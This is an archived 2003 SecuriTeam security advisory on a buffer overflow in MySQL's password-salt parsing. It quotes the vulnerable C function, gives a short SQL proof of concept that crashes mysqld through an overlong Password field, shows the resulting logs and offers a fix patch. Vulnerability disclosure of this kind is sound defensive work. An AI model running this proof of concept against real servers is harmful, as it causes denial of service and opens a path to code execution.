

[UNIX] Buffer Overflow in MySQL (PASSWORD)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-09/0026.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 09/14/03

To: list@securiteam.com

Date: 14 Sep 2003 14:23:37 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Buffer Overflow in MySQL (PASSWORD)

SUMMARY

<<http://www.mysql.com/>> MySQL is "the world's most popular open source database, recognized for its speed and reliability. Today MySQL is the most popular open source database server in the world with more than 4 million installations powering websites, datawarehouses, business applications, logging systems and more".

Passwords of MySQL users are stored in the "User" table, part of the "mysql" database, specifically in the "Password" field.

In MySQL 4.0.x and 3.23.x, these passwords are hashed and stored as a 16 characters long hexadecimal value, specifically in the "Password" field. Unfortunately, a function involved in password checking misses correct bounds checking. By filling a "Password" field a value wider than 16 characters, a buffer overflow will occur.

DETAILS

Vulnerable Systems:

- * All versions of MySQL up to and including 4.0.14
- * All versions of MySQL up to and including 3.0.57
- * MySQL version 3.23.51

Securiteam: [UNIX] Buffer Overflow in MySQL (PASSWORD)

Immune systems:

* MySQL version 4.0.15

Anyone with global administrative privileges on a MySQL server may execute arbitrary code even on a host he is not supposed to have a shell on, with the privileges of the system account running the MySQL server.

The `get_salt_from_password()` function defined in `sql/password.c` takes an arbitrary long hex password and returns an arbitrary long binary array with the previous decoded values :

```
void get_salt_from_password(ulong *res,const char *password)
{
  res[0]=res[1]=0;
  if (password)
  {
    while (*password)
    {
      ulong val=0;
      uint i;
      for (i=0 ; i < 8 ; i++)
        val=(val << 4)+char_val(*password++);
      *res++=val;
    }
  }
  return;
}
```

This function is called `sql/sql_acl.cc` to check for access control. It is passed the raw content of the Password field from the User table of the MySQL database.

The process aborts if then length is not a multiple of 8 but this is the only check before `get_salt_from_password()` is actually called. The overflow occurs on a local `ACL_USER` instance in `acl_init()` and successful exploitation of that bug is trivial on some platforms. On most Linux systems, the return address needs about 444 bytes to be overwritten.

PoC:

```
> USE mysql;
> ALTER TABLE User CHANGE COLUMN Password Password LONGTEXT;
> UPDATE User SET Password =
'123456781234567812345678123456781234567812345678123456781234567812345678
1234567812345678123456781234567812345678123456781234567812345678
1234567812345678123456781234567812345678123456781234567812345678
12345678123456781234567812345678...' WHERE User = 'abcd';
> FLUSH PRIVILEGES;
```

[Connection lost]

mysqld_safe/safe_mysqld log :

Securiteam: [UNIX] Buffer Overflow in MySQL (PASSWORD)

030806 21:05:43 mysqld restarted
030806 21:05:43 mysqld restarted
030806 21:05:43 mysqld restarted
030806 21:05:43 mysqld restarted

MySQL log : tons of

mysqld got signal 11;

This could be because you hit a bug. It is also possible that this binary or one of the libraries it was linked against is corrupt, improperly built, or mis-configured. This error can also be caused by malfunctioning hardware. We will try our best to scrape up some info that will hopefully help diagnose the problem, but since we have already crashed, something is definitely wrong

Vendor Status:

MySQL AB has been informed of this vulnerability on Wed, 6 Aug 2003. The issue was confirmed and fixed in the development tree the next day.

MySQL 4.0.15, which includes a fix for this vulnerability and other unrelated bugs, is now available for download from the following location:

<<http://www.mysql.com/downloads/mysql-4.0.html>>
<http://www.mysql.com/downloads/mysql-4.0.html>

Unofficial patch:

The following patch (applies fine to 4.0.14, should also work on earlier releases with minor fuzz) fixes the bug:

```
--- mysql-4.0.14-old/sql/sql_acl.cc 2003-07-18 16:57:25.000000000 +0200
+++ mysql-4.0.14/sql/sql_acl.cc 2003-09-10 23:21:13.559759576 +0200
@@ -233,7 +233,7 @@
     "Found old style password for user '%s'. Ignoring user. (You may want
to restart mysqld using --old-protocol)",
        user.user ? user.user : ""); /* purecov: tested */
    }
- else if (length % 8) // This holds true for passwords
+ else if (length % 8 || length > 16) // This holds true for passwords
    {
        sql_print_error(
            "Found invalid password for user: '%s@%s'; Ignoring user",
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:j@42-Networks.Com>> Frank DENIS (Jedi/Sector One)

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:

[UNIX] Buffer Overflow in MySQL (PASSWORD)

Securiteam: [UNIX] Buffer Overflow in MySQL (PASSWORD)

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.